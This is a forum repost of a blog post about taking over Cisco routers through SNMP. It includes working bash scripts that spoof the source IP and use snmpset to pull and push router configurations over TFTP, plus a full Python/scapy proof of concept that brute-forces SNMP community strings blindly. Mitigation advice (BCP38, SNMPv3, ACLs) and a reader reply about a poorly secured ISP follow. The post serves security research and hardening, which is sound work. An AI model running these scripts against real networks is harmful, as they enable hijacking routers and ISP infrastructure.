Jump to content
Nytro

Hacking networks with SNMP

Recommended Posts

Posted

Hacking networks with SNMP

Posted on April 21, 2015 by Torstein

Summary

Exploiting common misconfigurations in network systems allows an attacker to gather and use information to take over and control network devices. This can be done just as easily to core equipment as to Customer-Premises Equipment(CPE). A large scale attack will make it possible to hijack an entire Internet Service Provider(ISP) within a very short time.

This demonstration will be done against a virtualized Cisco network, but the same techniques applies to other vendors like Juniper, HP, Linux and others.

Virtualization

To prevent doing any damage to real networks, I will use GNS3 with Cisco to emulate a basic WAN. As for the attacking computer, a virtual Kali Linux will be attached to the network.

Attacker IP: 80.200.43.20

Cisco configuration example for SNMP and NTP:

[TABLE=class: crayon-table]

[TR=class: crayon-row]

[TD=class: crayon-nums]1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

[/TD]

[TD=class: crayon-code]interface GigabitEthernet0/0

ip address 88.0.3.10 255.255.255.0

!

ip access-list standard management

remark ### NTP ###

permit 80.2.0.64

remark ### SNMP ###

permit 80.2.0.33

!

snmp-server community _________ RW management

!

line vty 0 4

access-class management in

!

ntp server 80.2.0.64

[/TD]

[/TR]

[/TABLE]

Discovering devices

The initial scan plays an important role in discovering remote vulnerable devices.

nmap.png

SNMP is configured with a access-lists will still indicate a open port by connecting to it. The access-list will of-course deny any type of requests you make to the device unless the packet comes from a allowed IP.

One of the easiest way to discover what type of network device you are up against, is by running a ntp query.

By configuring “ntp server x.x.x.x”, are we not only synchronizing the device to that time-server, but it also turns the device into a NTP server itself. This allows us to find some unwanted information like equipment type and Refid which is equal to the NTP server’s server, along with a possible target for NTP reflection attacks. Apply some common sense, whois lookups and brute DNS tools – it won’t take long before you know where the management serverpool is. Cisco devices vulnerable to CVE-2014-3309 also seem to be open for NTP queries like this.

ntpq.png

[TABLE=class: crayon-table]

[TR=class: crayon-row]

[TD=class: crayon-nums]1

2

[/TD]

[TD=class: crayon-code]ntp server 80.2.0.64

ntp access-group peer management

[/TD]

[/TR]

[/TABLE]

This can be avoided by configuring a access-list associated with NTP configuration, firewalling the device or Control Plane Policing.

Hacking SNMP Blindfloded

Spoofing UDP packets source address will bypass the SNMP access-list “management”, and by blasting away thousands of passwords/sec may find the SNMP community string. The question is, how do we know when we found the correct community string?

spoofing.png

By sending IP spoofed Object Identifiers (OID’s) to the SNMP Management Information Base (MIB), we are able to tell the router to execute a command IF our community string is accepted. Decided to do some performance testing on live equipment and a Cisco 881-k9 where only able to handle 40000 attacks/min due to poor CPU performance. Split a dictionary between 100 CPE’s like the 881-k9 and you will be able to test ~4mill passwords/min.

So, how is this really done?

[TABLE=class: crayon-table]

[TR=class: crayon-row]

[TD=class: crayon-nums]1

2

3

4

5

6

7

8

9

10

11

[/TD]

[TD=class: crayon-code]Spoof source IP: 80.2.0.64,

Destination mr router: 88.0.3.10

Hello mr router. The secret is "public", please ping 80.200.43.20

- wrong secret, request dropped -

Hello mr router. The secret is "private", please ping 80.200.43.20

- correct secret, request accepted -

- sending ICMP packet to 80.200.43.20 as you asked for -

Network sniffer detecting a ICMP packet from mr router(88.0.3.10)

Correct secret was found for mr router between line(RTT+0.1sec) and line(current time)

[/TD]

[/TR]

[/TABLE]

snmpcrack.png

We got the community – so how to get access?

More spoofing! Send another batch of spoofed OID’s to the router, we are now able to tell the router to upload its configuration to a TFTP server. (I had some issues with TFTP in Kali, so I booted a Ubuntu machine running xinetd with the IP 80.200.43.21.) After analyzing the router configuration, we can make a few modifications like adding a new user and removing the management access-lists for VTY.

Now we can upload the new configuration back to the router with similar OID’s asking the router to download a file from the TFTP server and import it to the running-config.

console.png

How to protect your equipment

1. BCP 38/RFC 2827

Source-address filter your network, a router will stop any packets not matching the reverse route for the senders source address. BCP38 should be enabled at the edge of your network facing both customers and other Internet Service Providers. This does not only protect you and other against this type of attacks, but also UDP reflection DDoS attacks.

Warning: A network with asymmetrical routing may experience issues with BCP38

2. SNMPv3

SNMP version 3 offers both username and password support. Spoofing SNMPv3 is way more difficult than SNMPv 1-2c and due to password and packet encryption, discovery handshake and message integrity checks.

3. Filtering

Deny NTP and SNMP with Access Control Lists(ACL), Control Plane Policing (CoPP) or firewalls.

4. Testing

Do a network scan on equipment before you deploy a new model to check for unwanted services and ports.

Edit: after speaking with Cisco PSIRT, I was recommended the following materials to fortify and protect network devices. There won’t be any security advisory/CVE since UDP spoofing-attack is a known issue – even considering it’s a new attack vector.

Cisco Guide to Harden Cisco IOS Device

Team CYMRU – Secure IOS template

Concept code

Download config

[TABLE=class: crayon-table]

[TR=class: crayon-row]

[TD=class: crayon-nums]1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

[/TD]

[TD=class: crayon-code]#!/bin/bash

STRING=private

IP=88.0.3.10

SOURCEIP=80.2.0.64

TFTP=80.200.43.21

FILENAME=running-config

iptables -t nat -A POSTROUTING -p udp --dport 161 -j SNAT --to-source $SOURCEIP

snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 6

snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1

snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4

snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1

snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a $TFTP

snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s $FILENAME

snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1

iptables -t nat -D POSTROUTING -p udp --dport 161 -j SNAT --to-source $SOURCEIP

[/TD]

[/TR]

[/TABLE]

Upload config

[TABLE=class: crayon-table]

[TR=class: crayon-row]

[TD=class: crayon-nums]1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

[/TD]

[TD=class: crayon-code]#!/bin/bash

STRING=private

IP=88.0.3.10

SOURCEIP=80.2.0.64

TFTP=80.200.43.21

FILENAME=change-config

iptables -t nat -A POSTROUTING -p udp --dport 161 -j SNAT --to-source $SOURCEIP

snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 6

snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1

snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 1

snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 4

snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a $TFTP

snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s $FILENAME

snmpset -c $STRING -v 1 $IP 1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1

iptables -t nat -D POSTROUTING -p udp --dport 161 -j SNAT --to-source $SOURCEIP

[/TD]

[/TR]

[/TABLE]

Blind Password cracking – POC

[TABLE=class: crayon-table]

[TR=class: crayon-row]

[TD=class: crayon-nums]1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

[/TD]

[TD=class: crayon-code]#!/usr/bin/python

import socket, sys, time

from scapy.all import *

from multiprocessing import Process, Array

iptoping = '\x50\xc8\x2b\x14' # 80.200.43.20 in hex

ipaddr = ['88.0.3.14','88.0.3.6','88.0.3.10'] # target routers

spoofedserver = '80.2.0.64' # ntpq -c rv TARGET_CPE | grep refid

# Need to be permitted by router's snmp ACL

snmpfile = 'best-snmppasswords.txt'

defaultdelay = 0.0011

rtt = 1 #ms delay to targets

# check if loopback-interface with spoofed IP is up and running

stest = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:

stest.bind((spoofedserver, 0))

except:

print "ifconfig lo:0 " + spoofedserver + " netmask 255.255.255.255 up"

sys.exit()

rtt = rtt/1000

defaultdelay = int(defaultdelay*1000000)

def snmpscan(ip, delayhigh, stop, dictline, c, minline, maxline): # add delays and such

f = open(snmpfile, 'r')

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

delay = delayhigh[c]/1000000.0

s.bind((spoofedserver, 500+c))

counter = 1

for community in f:

if stop[c] == True:

return

if (minline[c] <= counter and maxline[c] >= counter) or maxline[c] == 0:

community = community.rstrip()

snmp = []

# packet length need to be included in SNMP.

length = str("%0.2x" % (len(community))).decode('hex')

splen = str("%0.2x" % (len(community)+42)).decode('hex')

xplen = str("%0.2x" % (len(community)+49)).decode('hex')

yplen = str("%0.2x" % (len(community)+45)).decode('hex')

snmp.append('\x30' + splen + '\x02\x01\x00\x04' + length + community +

'\xa3\x23\x02\x04\x1e\x4d\xa9\x90\x02\x01\x00\x02\x01\x00\x30'

'\x15\x30\x13\x06\x0e\x2b\x06\x01\x04\x01\x09\x09\x10\x01\x01'

'\x01\x10\x82\x4d\x02\x01\x06')

snmp.append('\x30' + splen + '\x02\x01\x00\x04' + length + community +

'\xa3\x23\x02\x04\x1a\x91\xe1\x36\x02\x01\x00\x02\x01\x00\x30'

'\x15\x30\x13\x06\x0e\x2b\x06\x01\x04\x01\x09\x09\x10\x01\x01'

'\x01\x10\x82\x4d\x02\x01\x05')

snmp.append('\x30' + xplen + '\x02\x01\x00\x04' + length + community +

'\xa3\x2a\x02\x04\x6e\xaf\x5b\x8c\x02\x01\x00\x02\x01\x00\x30'

'\x1c\x30\x1a\x06\x0e\x2b\x06\x01\x04\x01\x09\x09\x10\x01\x01'

'\x01\x0f\x82\x4d\x04\x08\x61\x6e\x79\x5f\x6e\x61\x6d\x65')

snmp.append('\x30' + splen + '\x02\x01\x00\x04' + length + community +

'\xa3\x23\x02\x04\x66\x9c\x88\x99\x02\x01\x00\x02\x01\x00\x30'

'\x15\x30\x13\x06\x0e\x2b\x06\x01\x04\x01\x09\x09\x10\x01\x01'

'\x01\x02\x82\x4d\x02\x01\x01')

snmp.append('\x30' + yplen + '\x02\x01\x00\x04' + length + community +

'\xa3\x26\x02\x04\x13\x3a\x66\x29\x02\x01\x00\x02\x01\x00\x30'

'\x18\x30\x16\x06\x0e\x2b\x06\x01\x04\x01\x09\x09\x10\x01\x01'

'\x01\x03\x82\x4d\x04\x04' + iptoping)

snmp.append('\x30' + splen + '\x02\x01\x00\x04' + length + community +

'\xa3\x23\x02\x04\x21\x98\x9b\xcd\x02\x01\x00\x02\x01\x00\x30'

'\x15\x30\x13\x06\x0e\x2b\x06\x01\x04\x01\x09\x09\x10\x01\x01'

'\x01\x04\x82\x4d\x02\x01\x01') # last hex = number of icmp packets

snmp.append('\x30' + splen + '\x02\x01\x00\x04' + length + community +

'\xa3\x23\x02\x04\x7c\xe9\x79\x42\x02\x01\x00\x02\x01\x00\x30'

'\x15\x30\x13\x06\x0e\x2b\x06\x01\x04\x01\x09\x09\x10\x01\x01'

'\x01\x10\x82\x4d\x02\x01\x01')

for payload in snmp:

s.sendto(payload, (ip, 161))

dictline[c] = counter

time.sleep(delay)

if stop[c] == True:

return

counter += 1

f.close()

stop[c] = True

def reply(packet):

try:

if packet[iCMP]:

pos = ipaddr.index(packet[iP].src)

except:

return

for x in processes:

if x.name == ipaddr[pos]:

minline[pos] = int((dictline[pos]-(0.05+rtt)/(delay[pos]/1000000.0))+1) if 0 < (0.05+rtt)/(delay[pos]/1000000.0) else 1

maxline[pos] = dictline[pos]

if minline[pos] == maxline[pos]:

f = open(snmpfile, 'r')

g = 1

for lines in f:

if g == maxline[pos]:

print 'SNMP Community for', ipaddr[pos], 'is:', lines.rstrip()

g += 1

else:

print '%s snmp community found between line %d and %d in %s. Please wait while narrowing it down.'%(ipaddr[pos], int((dictline[pos]-(0.05+rtt)/(delay[pos]/1000000.0))+1) if 0 < (0.05+rtt)/(delay[pos]/1000000.0) else 1, dictline[pos], snmpfile)

stop[pos] == True

x.terminate()

time.sleep(1) # wait for existing thread to stop

dictline[pos] = 1

stop[pos] = False

delay[pos] = delay[pos]*5

p = Process(target=snmpscan, name=ipaddr[pos], args=(ipaddr[pos], delay, stop, dictline, pos, minline, maxline))

processes[pos] = p

p.start()

if __name__ == "__main__":

global processes

processes = []

dictline = Array('i', [1]*len(ipaddr))

stop = Array('i', [False]*len(ipaddr))

minline = Array('i', [0]*len(ipaddr))

maxline = Array('i', [0]*len(ipaddr))

delay = Array('i', [defaultdelay]*len(ipaddr))

c = 0

for a in ipaddr:

p = Process(target=snmpscan, name=a, args=(a, delay, stop, dictline, c, minline, maxline))

processes.append(p)

p.start()

c += 1

sniff(prn=reply, filter="icmp", store=0)

[/TD]

[/TR]

[/TABLE]

Sursa: https://0x41.no/hacking-networks-with-snmp/

Posted

foarte tare...chiar zilele trecute cautam altceva pe net si am gasit un ISP din Bucuresti care nu are prea multa grija de securitatea echipamentelor si foloseste SNMP v1 cu default comunity Public...

ma gandeam la o metoda de a mapa automat reteaua prin interogari SNMP pe toate echipamentele vizibile apoi trimis un mail catre companie.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...